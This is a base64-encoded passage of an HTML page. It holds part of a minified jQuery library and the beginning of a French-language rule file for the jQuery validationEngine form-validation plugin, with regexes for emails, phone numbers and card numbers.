Yy5hc3luYyxjLnVzZXJuYW1lLGMucGFzc3dvcmQpOmkub3BlbihjLnR5cGUsYy51cmwsYy5hc3luYyk7aWYoYy54aHJGaWVsZHMpZm9yKGggaW4gYy54aHJGaWVsZHMpaVtoXT1jLnhockZpZWxkc1toXTtjLm1pbWVUeXBlJiZpLm92ZXJyaWRlTWltZVR5cGUmJmkub3ZlcnJpZGVNaW1lVHlwZShjLm1pbWVUeXBlKSwhYy5jcm9zc0RvbWFpbiYmIWVbIlgtUmVxdWVzdGVkLVdpdGgiXSYmKGVbIlgtUmVxdWVzdGVkLVdpdGgiXT0iWE1MSHR0cFJlcXVlc3QiKTt0cnl7Zm9yKGggaW4gZSlpLnNldFJlcXVlc3RIZWFkZXIoaCxlW2hdKX1jYXRjaChqKXt9aS5zZW5kKGMuaGFzQ29udGVudCYmYy5kYXRhfHxudWxsKSxkPWZ1bmN0aW9uKGEsZSl7dmFyIGgsaixrLGwsbTt0cnl7aWYoZCYmKGV8fGkucmVhZHlTdGF0ZT09PTQpKXtkPWIsZyYmKGkub25yZWFkeXN0YXRlY2hhbmdlPXAubm9vcCxjSiYmZGVsZXRlIGNJW2ddKTtpZihlKWkucmVhZHlTdGF0ZSE9PTQmJmkuYWJvcnQoKTtlbHNle2g9aS5zdGF0dXMsaz1pLmdldEFsbFJlc3BvbnNlSGVhZGVycygpLGw9e30sbT1pLnJlc3BvbnNlWE1MLG0mJm0uZG9jdW1lbnRFbGVtZW50JiYobC54bWw9bSk7dHJ5e2wudGV4dD1pLnJlc3BvbnNlVGV4dH1jYXRjaChhKXt9dHJ5e2o9aS5zdGF0dXNUZXh0fWNhdGNoKG4pe2o9IiJ9IWgmJmMuaXNMb2NhbCYmIWMuY3Jvc3NEb21haW4/aD1sLnRleHQ/MjAwOjQwNDpoPT09MTIyMyYmKGg9MjA0KX19fWNhdGNoKG8pe2V8fGYoLTEsbyl9bCYmZihoLGosbCxrKX0sYy5hc3luYz9pLnJlYWR5U3RhdGU9PT00P3NldFRpbWVvdXQoZCwwKTooZz0rK2NLLGNKJiYoY0l8fChjST17fSxwKGEpLnVubG9hZChjSikpLGNJW2ddPWQpLGkub25yZWFkeXN0YXRlY2hhbmdlPWQpOmQoKX0sYWJvcnQ6ZnVuY3Rpb24oKXtkJiZkKDAsMSl9fX19KTt2YXIgY04sY08sY1A9L14oPzp0b2dnbGV8c2hvd3xoaWRlKSQvLGNRPW5ldyBSZWdFeHAoIl4oPzooWy0rXSk9fCkoIitxKyIpKFthLXolXSopJCIsImkiKSxjUj0vcXVldWVIb29rcyQvLGNTPVtjWV0sY1Q9eyIqIjpbZnVuY3Rpb24oYSxiKXt2YXIgYyxkLGU9dGhpcy5jcmVhdGVUd2VlbihhLGIpLGY9Y1EuZXhlYyhiKSxnPWUuY3VyKCksaD0rZ3x8MCxpPTEsaj0yMDtpZihmKXtjPStmWzJdLGQ9ZlszXXx8KHAuY3NzTnVtYmVyW2FdPyIiOiJweCIpO2lmKGQhPT0icHgiJiZoKXtoPXAuY3NzKGUuZWxlbSxhLCEwKXx8Y3x8MTtkbyBpPWl8fCIuNSIsaD1oL2kscC5zdHlsZShlLmVsZW0sYSxoK2QpO3doaWxlKGkhPT0oaT1lLmN1cigpL2cpJiZpIT09MSYmLS1qKX1lLnVuaXQ9ZCxlLnN0YXJ0PWgsZS5lbmQ9ZlsxXT9oKyhmWzFdKzEpKmM6Y31yZXR1cm4gZX1dfTtwLkFuaW1hdGlvbj1wLmV4dGVuZChjVyx7dHdlZW5lcjpmdW5jdGlvbihhLGIpe3AuaXNGdW5jdGlvbihhKT8oYj1hLGE9WyIqIl0pOmE9YS5zcGxpdCgiICIpO3ZhciBjLGQ9MCxlPWEubGVuZ3RoO2Zvcig7ZDxlO2QrKyljPWFbZF0sY1RbY109Y1RbY118fFtdLGNUW2NdLnVuc2hpZnQoYil9LHByZWZpbHRlcjpmdW5jdGlvbihhLGIpe2I/Y1MudW5zaGlmdChhKTpjUy5wdXNoKGEpfX0pLHAuVHdlZW49Y1osY1oucHJvdG90eXBlPXtjb25zdHJ1Y3RvcjpjWixpbml0OmZ1bmN0aW9uKGEsYixjLGQsZSxmKXt0aGlzLmVsZW09YSx0aGlzLnByb3A9Yyx0aGlzLmVhc2luZz1lfHwic3dpbmciLHRoaXMub3B0aW9ucz1iLHRoaXMuc3RhcnQ9dGhpcy5ub3c9dGhpcy5jdXIoKSx0aGlzLmVuZD1kLHRoaXMudW5pdD1mfHwocC5jc3NOdW1iZXJbY10/IiI6InB4Iil9LGN1cjpmdW5jdGlvbigpe3ZhciBhPWNaLnByb3BIb29rc1t0aGlzLnByb3BdO3JldHVybiBhJiZhLmdldD9hLmdldCh0aGlzKTpjWi5wcm9wSG9va3MuX2RlZmF1bHQuZ2V0KHRoaXMpfSxydW46ZnVuY3Rpb24oYSl7dmFyIGIsYz1jWi5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gdGhpcy5vcHRpb25zLmR1cmF0aW9uP3RoaXMucG9zPWI9cC5lYXNpbmdbdGhpcy5lYXNpbmddKGEsdGhpcy5vcHRpb25zLmR1cmF0aW9uKmEsMCwxLHRoaXMub3B0aW9ucy5kdXJhdGlvbik6dGhpcy5wb3M9Yj1hLHRoaXMubm93PSh0aGlzLmVuZC10aGlzLnN0YXJ0KSpiK3RoaXMuc3RhcnQsdGhpcy5vcHRpb25zLnN0ZXAmJnRoaXMub3B0aW9ucy5zdGVwLmNhbGwodGhpcy5lbGVtLHRoaXMubm93LHRoaXMpLGMmJmMuc2V0P2Muc2V0KHRoaXMpOmNaLnByb3BIb29rcy5fZGVmYXVsdC5zZXQodGhpcyksdGhpc319LGNaLnByb3RvdHlwZS5pbml0LnByb3RvdHlwZT1jWi5wcm90b3R5cGUsY1oucHJvcEhvb2tzPXtfZGVmYXVsdDp7Z2V0OmZ1bmN0aW9uKGEpe3ZhciBiO3JldHVybiBhLmVsZW1bYS5wcm9wXT09bnVsbHx8ISFhLmVsZW0uc3R5bGUmJmEuZWxlbS5zdHlsZVthLnByb3BdIT1udWxsPyhiPXAuY3NzKGEuZWxlbSxhLnByb3AsITEsIiIpLCFifHxiPT09ImF1dG8iPzA6Yik6YS5lbGVtW2EucHJvcF19LHNldDpmdW5jdGlvbihhKXtwLmZ4LnN0ZXBbYS5wcm9wXT9wLmZ4LnN0ZXBbYS5wcm9wXShhKTphLmVsZW0uc3R5bGUmJihhLmVsZW0uc3R5bGVbcC5jc3NQcm9wc1thLnByb3BdXSE9bnVsbHx8cC5jc3NIb29rc1thLnByb3BdKT9wLnN0eWxlKGEuZWxlbSxhLnByb3AsYS5ub3crYS51bml0KTphLmVsZW1bYS5wcm9wXT1hLm5vd319fSxjWi5wcm9wSG9va3Muc2Nyb2xsVG9wPWNaLnByb3BIb29rcy5zY3JvbGxMZWZ0PXtzZXQ6ZnVuY3Rpb24oYSl7YS5lbGVtLm5vZGVUeXBlJiZhLmVsZW0ucGFyZW50Tm9kZSYmKGEuZWxlbVthLnByb3BdPWEubm93KX19LHAuZWFjaChbInRvZ2dsZSIsInNob3ciLCJoaWRlIl0sZnVuY3Rpb24oYSxiKXt2YXIgYz1wLmZuW2JdO3AuZm5bYl09ZnVuY3Rpb24oZCxlLGYpe3JldHVybiBkPT1udWxsfHx0eXBlb2YgZD09ImJvb2xlYW4ifHwhYSYmcC5pc0Z1bmN0aW9uKGQpJiZwLmlzRnVuY3Rpb24oZSk/Yy5hcHBseSh0aGlzLGFyZ3VtZW50cyk6dGhpcy5hbmltYXRlKGMkKGIsITApLGQsZSxmKX19KSxwLmZuLmV4dGVuZCh7ZmFkZVRvOmZ1bmN0aW9uKGEsYixjLGQpe3JldHVybiB0aGlzLmZpbHRlcihiWikuY3NzKCJvcGFjaXR5IiwwKS5zaG93KCkuZW5kKCkuYW5pbWF0ZSh7b3BhY2l0eTpifSxhLGMsZCl9LGFuaW1hdGU6ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cC5pc0VtcHR5T2JqZWN0KGEpLGY9cC5zcGVlZChiLGMsZCksZz1mdW5jdGlvbigpe3ZhciBiPWNXKHRoaXMscC5leHRlbmQoe30sYSksZik7ZSYmYi5zdG9wKCEwKX07cmV0dXJuIGV8fGYucXVldWU9PT0hMT90aGlzLmVhY2goZyk6dGhpcy5xdWV1ZShmLnF1ZXVlLGcpfSxzdG9wOmZ1bmN0aW9uKGEsYyxkKXt2YXIgZT1mdW5jdGlvbihhKXt2YXIgYj1hLnN0b3A7ZGVsZXRlIGEuc3RvcCxiKGQpfTtyZXR1cm4gdHlwZW9mIGEhPSJzdHJpbmciJiYoZD1jLGM9YSxhPWIpLGMmJmEhPT0hMSYmdGhpcy5xdWV1ZShhfHwiZngiLFtdKSx0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgYj0hMCxjPWEhPW51bGwmJmErInF1ZXVlSG9va3MiLGY9cC50aW1lcnMsZz1wLl9kYXRhKHRoaXMpO2lmKGMpZ1tjXSYmZ1tjXS5zdG9wJiZlKGdbY10pO2Vsc2UgZm9yKGMgaW4gZylnW2NdJiZnW2NdLnN0b3AmJmNSLnRlc3QoYykmJmUoZ1tjXSk7Zm9yKGM9Zi5sZW5ndGg7Yy0tOylmW2NdLmVsZW09PT10aGlzJiYoYT09bnVsbHx8ZltjXS5xdWV1ZT09PWEpJiYoZltjXS5hbmltLnN0b3AoZCksYj0hMSxmLnNwbGljZShjLDEpKTsoYnx8IWQpJiZwLmRlcXVldWUodGhpcyxhKX0pfX0pLHAuZWFjaCh7c2xpZGVEb3duOmMkKCJzaG93Iiksc2xpZGVVcDpjJCgiaGlkZSIpLHNsaWRlVG9nZ2xlOmMkKCJ0b2dnbGUiKSxmYWRlSW46e29wYWNpdHk6InNob3cifSxmYWRlT3V0OntvcGFjaXR5OiJoaWRlIn0sZmFkZVRvZ2dsZTp7b3BhY2l0eToidG9nZ2xlIn19LGZ1bmN0aW9uKGEsYil7cC5mblthXT1mdW5jdGlvbihhLGMsZCl7cmV0dXJuIHRoaXMuYW5pbWF0ZShiLGEsYyxkKX19KSxwLnNwZWVkPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1hJiZ0eXBlb2YgYT09Im9iamVjdCI/cC5leHRlbmQoe30sYSk6e2NvbXBsZXRlOmN8fCFjJiZifHxwLmlzRnVuY3Rpb24oYSkmJmEsZHVyYXRpb246YSxlYXNpbmc6YyYmYnx8YiYmIXAuaXNGdW5jdGlvbihiKSYmYn07ZC5kdXJhdGlvbj1wLmZ4Lm9mZj8wOnR5cGVvZiBkLmR1cmF0aW9uPT0ibnVtYmVyIj9kLmR1cmF0aW9uOmQuZHVyYXRpb24gaW4gcC5meC5zcGVlZHM/cC5meC5zcGVlZHNbZC5kdXJhdGlvbl06cC5meC5zcGVlZHMuX2RlZmF1bHQ7aWYoZC5xdWV1ZT09bnVsbHx8ZC5xdWV1ZT09PSEwKWQucXVldWU9ImZ4IjtyZXR1cm4gZC5vbGQ9ZC5jb21wbGV0ZSxkLmNvbXBsZXRlPWZ1bmN0aW9uKCl7cC5pc0Z1bmN0aW9uKGQub2xkKSYmZC5vbGQuY2FsbCh0aGlzKSxkLnF1ZXVlJiZwLmRlcXVldWUodGhpcyxkLnF1ZXVlKX0sZH0scC5lYXNpbmc9e2xpbmVhcjpmdW5jdGlvbihhKXtyZXR1cm4gYX0sc3dpbmc6ZnVuY3Rpb24oYSl7cmV0dXJuLjUtTWF0aC5jb3MoYSpNYXRoLlBJKS8yfX0scC50aW1lcnM9W10scC5meD1jWi5wcm90b3R5cGUuaW5pdCxwLmZ4LnRpY2s9ZnVuY3Rpb24oKXt2YXIgYSxiPXAudGltZXJzLGM9MDtmb3IoO2M8Yi5sZW5ndGg7YysrKWE9YltjXSwhYSgpJiZiW2NdPT09YSYmYi5zcGxpY2UoYy0tLDEpO2IubGVuZ3RofHxwLmZ4LnN0b3AoKX0scC5meC50aW1lcj1mdW5jdGlvbihhKXthKCkmJnAudGltZXJzLnB1c2goYSkmJiFjTyYmKGNPPXNldEludGVydmFsKHAuZngudGljayxwLmZ4LmludGVydmFsKSl9LHAuZnguaW50ZXJ2YWw9MTMscC5meC5zdG9wPWZ1bmN0aW9uKCl7Y2xlYXJJbnRlcnZhbChjTyksY089bnVsbH0scC5meC5zcGVlZHM9e3Nsb3c6NjAwLGZhc3Q6MjAwLF9kZWZhdWx0OjQwMH0scC5meC5zdGVwPXt9LHAuZXhwciYmcC5leHByLmZpbHRlcnMmJihwLmV4cHIuZmlsdGVycy5hbmltYXRlZD1mdW5jdGlvbihhKXtyZXR1cm4gcC5ncmVwKHAudGltZXJzLGZ1bmN0aW9uKGIpe3JldHVybiBhPT09Yi5lbGVtfSkubGVuZ3RofSk7dmFyIGNfPS9eKD86Ym9keXxodG1sKSQvaTtwLmZuLm9mZnNldD1mdW5jdGlvbihhKXtpZihhcmd1bWVudHMubGVuZ3RoKXJldHVybiBhPT09Yj90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihiKXtwLm9mZnNldC5zZXRPZmZzZXQodGhpcyxhLGIpfSk7dmFyIGMsZCxlLGYsZyxoLGksaj17dG9wOjAsbGVmdDowfSxrPXRoaXNbMF0sbD1rJiZrLm93bmVyRG9jdW1lbnQ7aWYoIWwpcmV0dXJuO3JldHVybihkPWwuYm9keSk9PT1rP3Aub2Zmc2V0LmJvZHlPZmZzZXQoayk6KGM9bC5kb2N1bWVudEVsZW1lbnQscC5jb250YWlucyhjLGspPyh0eXBlb2Ygay5nZXRCb3VuZGluZ0NsaWVudFJlY3QhPSJ1bmRlZmluZWQiJiYoaj1rLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpKSxlPWRhKGwpLGY9Yy5jbGllbnRUb3B8fGQuY2xpZW50VG9wfHwwLGc9Yy5jbGllbnRMZWZ0fHxkLmNsaWVudExlZnR8fDAsaD1lLnBhZ2VZT2Zmc2V0fHxjLnNjcm9sbFRvcCxpPWUucGFnZVhPZmZzZXR8fGMuc2Nyb2xsTGVmdCx7dG9wOmoudG9wK2gtZixsZWZ0OmoubGVmdCtpLWd9KTpqKX0scC5vZmZzZXQ9e2JvZHlPZmZzZXQ6ZnVuY3Rpb24oYSl7dmFyIGI9YS5vZmZzZXRUb3AsYz1hLm9mZnNldExlZnQ7cmV0dXJuIHAuc3VwcG9ydC5kb2VzTm90SW5jbHVkZU1hcmdpbkluQm9keU9mZnNldCYmKGIrPXBhcnNlRmxvYXQocC5jc3MoYSwibWFyZ2luVG9wIikpfHwwLGMrPXBhcnNlRmxvYXQocC5jc3MoYSwibWFyZ2luTGVmdCIpKXx8MCkse3RvcDpiLGxlZnQ6Y319LHNldE9mZnNldDpmdW5jdGlvbihhLGIsYyl7dmFyIGQ9cC5jc3MoYSwicG9zaXRpb24iKTtkPT09InN0YXRpYyImJihhLnN0eWxlLnBvc2l0aW9uPSJyZWxhdGl2ZSIpO3ZhciBlPXAoYSksZj1lLm9mZnNldCgpLGc9cC5jc3MoYSwidG9wIiksaD1wLmNzcyhhLCJsZWZ0IiksaT0oZD09PSJhYnNvbHV0ZSJ8fGQ9PT0iZml4ZWQiKSYmcC5pbkFycmF5KCJhdXRvIixbZyxoXSk+LTEsaj17fSxrPXt9LGwsbTtpPyhrPWUucG9zaXRpb24oKSxsPWsudG9wLG09ay5sZWZ0KToobD1wYXJzZUZsb2F0KGcpfHwwLG09cGFyc2VGbG9hdChoKXx8MCkscC5pc0Z1bmN0aW9uKGIpJiYoYj1iLmNhbGwoYSxjLGYpKSxiLnRvcCE9bnVsbCYmKGoudG9wPWIudG9wLWYudG9wK2wpLGIubGVmdCE9bnVsbCYmKGoubGVmdD1iLmxlZnQtZi5sZWZ0K20pLCJ1c2luZyJpbiBiP2IudXNpbmcuY2FsbChhLGopOmUuY3NzKGopfX0scC5mbi5leHRlbmQoe3Bvc2l0aW9uOmZ1bmN0aW9uKCl7aWYoIXRoaXNbMF0pcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGM9dGhpcy5vZmZzZXQoKSxkPWNfLnRlc3QoYlswXS5ub2RlTmFtZSk/e3RvcDowLGxlZnQ6MH06Yi5vZmZzZXQoKTtyZXR1cm4gYy50b3AtPXBhcnNlRmxvYXQocC5jc3MoYSwibWFyZ2luVG9wIikpfHwwLGMubGVmdC09cGFyc2VGbG9hdChwLmNzcyhhLCJtYXJnaW5MZWZ0IikpfHwwLGQudG9wKz1wYXJzZUZsb2F0KHAuY3NzKGJbMF0sImJvcmRlclRvcFdpZHRoIikpfHwwLGQubGVmdCs9cGFyc2VGbG9hdChwLmNzcyhiWzBdLCJib3JkZXJMZWZ0V2lkdGgiKSl8fDAse3RvcDpjLnRvcC1kLnRvcCxsZWZ0OmMubGVmdC1kLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8ZS5ib2R5O3doaWxlKGEmJiFjXy50ZXN0KGEubm9kZU5hbWUpJiZwLmNzcyhhLCJwb3NpdGlvbiIpPT09InN0YXRpYyIpYT1hLm9mZnNldFBhcmVudDtyZXR1cm4gYXx8ZS5ib2R5fSl9fSkscC5lYWNoKHtzY3JvbGxMZWZ0OiJwYWdlWE9mZnNldCIsc2Nyb2xsVG9wOiJwYWdlWU9mZnNldCJ9LGZ1bmN0aW9uKGEsYyl7dmFyIGQ9L1kvLnRlc3QoYyk7cC5mblthXT1mdW5jdGlvbihlKXtyZXR1cm4gcC5hY2Nlc3ModGhpcyxmdW5jdGlvbihhLGUsZil7dmFyIGc9ZGEoYSk7aWYoZj09PWIpcmV0dXJuIGc/YyBpbiBnP2dbY106Zy5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnRbZV06YVtlXTtnP2cuc2Nyb2xsVG8oZD9wKGcpLnNjcm9sbExlZnQoKTpmLGQ/ZjpwKGcpLnNjcm9sbFRvcCgpKTphW2VdPWZ9LGEsZSxhcmd1bWVudHMubGVuZ3RoLG51bGwpfX0pLHAuZWFjaCh7SGVpZ2h0OiJoZWlnaHQiLFdpZHRoOiJ3aWR0aCJ9LGZ1bmN0aW9uKGEsYyl7cC5lYWNoKHtwYWRkaW5nOiJpbm5lciIrYSxjb250ZW50OmMsIiI6Im91dGVyIithfSxmdW5jdGlvbihkLGUpe3AuZm5bZV09ZnVuY3Rpb24oZSxmKXt2YXIgZz1hcmd1bWVudHMubGVuZ3RoJiYoZHx8dHlwZW9mIGUhPSJib29sZWFuIiksaD1kfHwoZT09PSEwfHxmPT09ITA/Im1hcmdpbiI6ImJvcmRlciIpO3JldHVybiBwLmFjY2Vzcyh0aGlzLGZ1bmN0aW9uKGMsZCxlKXt2YXIgZjtyZXR1cm4gcC5pc1dpbmRvdyhjKT9jLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudFsiY2xpZW50IithXTpjLm5vZGVUeXBlPT09OT8oZj1jLmRvY3VtZW50RWxlbWVudCxNYXRoLm1heChjLmJvZHlbInNjcm9sbCIrYV0sZlsic2Nyb2xsIithXSxjLmJvZHlbIm9mZnNldCIrYV0sZlsib2Zmc2V0IithXSxmWyJjbGllbnQiK2FdKSk6ZT09PWI/cC5jc3MoYyxkLGUsaCk6cC5zdHlsZShjLGQsZSxoKX0sYyxnP2U6YixnLG51bGwpfX0pfSksYS5qUXVlcnk9YS4kPXAsdHlwZW9mIGRlZmluZT09ImZ1bmN0aW9uIiYmZGVmaW5lLmFtZCYmZGVmaW5lLmFtZC5qUXVlcnkmJmRlZmluZSgianF1ZXJ5IixbXSxmdW5jdGlvbigpe3JldHVybiBwfSl9KSh3aW5kb3cpOw0KPC9zY3JpcHQ+DQo8c2NyaXB0Pg0KKGZ1bmN0aW9uKCQpew0KICAgICQuZm4udmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlID0gZnVuY3Rpb24oKXsNCiAgICB9Ow0KICAgICQudmFsaWRhdGlvbkVuZ2luZUxhbmd1YWdlID0gew0KICAgICAgICBuZXdMYW5nOiBmdW5jdGlvbigpew0KICAgICAgICAgICAgJC52YWxpZGF0aW9uRW5naW5lTGFuZ3VhZ2UuYWxsUnVsZXMgPSB7DQogICAgICAgICAgICAgICAgInJlcXVpcmVkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBUaGlzIGZpZWxkIGlzIHJlcXVpcmVkIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dENoZWNrYm94TXVsdGlwbGUiOiAiKiBDaG9pc2lyIHVuZSBvcHRpb24iLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0Q2hlY2tib3hlIjogIiogQ2V0dGUgb3B0aW9uIGVzdCByZXF1aXNlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgInJlcXVpcmVkSW5GdW5jdGlvbiI6IHsgDQogICAgICAgICAgICAgICAgICAgICJmdW5jIjogZnVuY3Rpb24oZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoZmllbGQudmFsKCkgPT0gInRlc3QiKSA/IHRydWUgOiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIEZpZWxkIG11c3QgZXF1YWwgdGVzdCINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIm1pblNpemUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE1pbmltdW0gIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIGNhcmFjdMOocmVzIHJlcXVpcyINCiAgICAgICAgICAgICAgICB9LA0KCQkJCSJncm91cFJlcXVpcmVkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBWb3VzIGRldmV6IHJlbXBsaXIgdW4gZGVzIGNoYW1wcyBzdWl2YW50Ig0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm1heFNpemUiOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE1heGltdW0gIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIGNhcmFjdMOocmVzIHJlcXVpcyINCiAgICAgICAgICAgICAgICB9LA0KCQkgICAgICAgICJtaW4iOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIFZhbGV1ciBtaW5pbXVtIHJlcXVpc2UgIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm1heCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogIm5vbmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogVmFsZXVyIG1heGltdW0gcmVxdWlzZSAiDQogICAgICAgICAgICAgICAgfSwNCgkJICAgICAgICAicGFzdCI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogIm5vbmUiLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogRGF0ZSBhbnTDqXJpZXVyZSBhdSAiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAiZnV0dXJlIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBEYXRlIHBvc3TDqXJpZXVyZSBhdSAiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibWF4Q2hlY2tib3giOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE5vbWJyZSBtYXggZGUgY2hvaXggZXhjw6lkw6kiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibWluQ2hlY2tib3giOiB7DQogICAgICAgICAgICAgICAgICAgICJyZWdleCI6ICJub25lIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIFZldWlsbGV6IGNob2lzaXIgIiwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dDIiOiAiIG9wdGlvbnMiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAiZXF1YWxzIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAibm9uZSIsDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBWb3RyZSBjaGFtcCBuJ2VzdCBwYXMgaWRlbnRpcXVlIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIm5lbWVPbklkIjogew0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXltcLVwrXT9cZHsxNSwxNn0kLywNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIE51bWJlciBvZiBpbnZhbGlkIGNyZWRpdCBjYXJkIg0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgInBob25lIjogew0KICAgICAgICAgICAgICAgICAgICAvLyBjcmVkaXQ6IGpxdWVyeS5oNXZhbGlkYXRlLmpzIC8gb3JlZmFsbw0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXihbXCtdWzAtOV17MSwzfVsgXC5cLV0pPyhbXChdezF9WzAtOV17Miw2fVtcKV0pPyhbMC05IFwuXC1cL117MywyMH0pKCh4fGV4dHxleHRlbnNpb24pWyBdP1swLTldezEsNH0pPyQvLA0KICAgICAgICAgICAgICAgICAgICAiYWxlcnRUZXh0IjogIiogTnVtw6lybyBkZSB0w6lsw6lwaG9uZSBpbnZhbGlkZSINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJlbWFpbCI6IHsNCiAgICAgICAgICAgICAgICAgICAgLy8gU2hhbWVsZXNzbHkgbGlmdGVkIGZyb20gU2NvdHQgR29uemFsZXogdmlhIHRoZSBCYXNzaXN0YW5jZSBWYWxpZGF0aW9uIHBsdWdpbiBodHRwOi8vcHJvamVjdHMuc2NvdHRzcGxheWdyb3VuZC5jb20vZW1haWxfYWRkcmVzc192YWxpZGF0aW9uLw0KICAgICAgICAgICAgICAgICAgICAicmVnZXgiOiAvXigoKFthLXpdfFxkfFshI1wkJSYnXCpcK1wtXC89XD9cXl9ge1x8fX5dfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSsoXC4oW2Etel18XGR8WyEjXCQlJidcKlwrXC1cLz1cP1xeX2B7XHx9fl18W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKykqKXwoKFx4MjIpKCgoKFx4MjB8XHgwOSkqKFx4MGRceDBhKSk/KFx4MjB8XHgwOSkrKT8oKFtceDAxLVx4MDhceDBiXHgwY1x4MGUtXHgxZlx4N2ZdfFx4MjF8W1x4MjMtXHg1Yl18W1x4NWQtXHg3ZV18W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfChcXChbXHgwMS1ceDA5XHgwYlx4MGNceDBkLVx4N2ZdfFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSkpKSooKChceDIwfFx4MDkpKihceDBkXHgwYSkpPyhceDIwfFx4MDkpKyk/KFx4MjIpKSlAKCgoW2Etel18XGR8W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pfCgoW2Etel18XGR8W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKFthLXpdfFxkfC18XC58X3x+fFtcdTAwQTAtXHVEN0ZGXHVGOTAwLVx1RkRDRlx1RkRGMC1cdUZGRUZdKSooW2Etel18XGR8W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKSlcLikrKChbYS16XXxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSl8KChbYS16XXxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkoW2Etel18XGR8LXxcLnxffH58W1x1MDBBMC1cdUQ3RkZcdUY5MDAtXHVGRENGXHVGREYwLVx1RkZFRl0pKihbYS16XXxbXHUwMEEwLVx1RDdGRlx1RjkwMC1cdUZEQ0ZcdUZERjAtXHVGRkVGXSkpKVwuPyQvaSwNCiAgICAgICAgICAgICAgICAgICAgImFsZXJ0VGV4dCI6ICIqIEFkcmVzc2UgZW1haWwgaW52YWxpZGUiDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAiaW50ZWdlciI6IHsNCiAgICAgICAgICAgICAgICAgICAgInJlZ2V4IjogL15bXC1cK10/XGQrJC8sDQogICAgICAgICAgICAgICAgICAgICJhbGVydFRleHQiOiAiKiBJbnRlZ2Vy